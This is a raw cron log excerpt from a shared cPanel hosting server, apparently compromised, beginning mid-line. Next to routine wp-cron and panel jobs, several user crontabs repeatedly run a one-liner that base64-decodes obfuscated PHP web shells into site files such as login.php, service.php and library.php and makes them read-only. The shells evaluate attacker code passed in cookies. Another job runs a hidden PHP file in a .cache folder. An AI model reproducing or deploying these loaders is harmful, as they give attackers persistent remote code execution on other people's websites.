JF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:46:01 medusa CROND[15389]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:46:01 medusa CROND[15405]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:46:01 medusa CROND[15406]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:46:01 medusa CROND[15407]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:46:01 medusa CROND[15408]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:46:01 medusa CROND[15403]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:46:01 medusa CROND[15409]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:47:01 medusa CROND[22968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:47:01 medusa CROND[23160]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:47:01 medusa CROND[23161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:47:01 medusa CROND[23162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:47:01 medusa CROND[23170]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:47:01 medusa CROND[23171]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:47:01 medusa CROND[23173]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:47:01 medusa CROND[23174]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:47:01 medusa CROND[23175]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:47:01 medusa CROND[23179]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:47:01 medusa CROND[23182]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:47:01 medusa CROND[23188]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:47:01 medusa CROND[23195]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 02:48:01 medusa CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:48:01 medusa CROND[29791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:48:01 medusa CROND[29792]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:48:01 medusa CROND[29793]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:48:01 medusa CROND[29794]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:48:01 medusa CROND[29799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:48:01 medusa CROND[29800]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:48:01 medusa CROND[29803]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:48:01 medusa CROND[29807]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:48:01 medusa CROND[29808]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
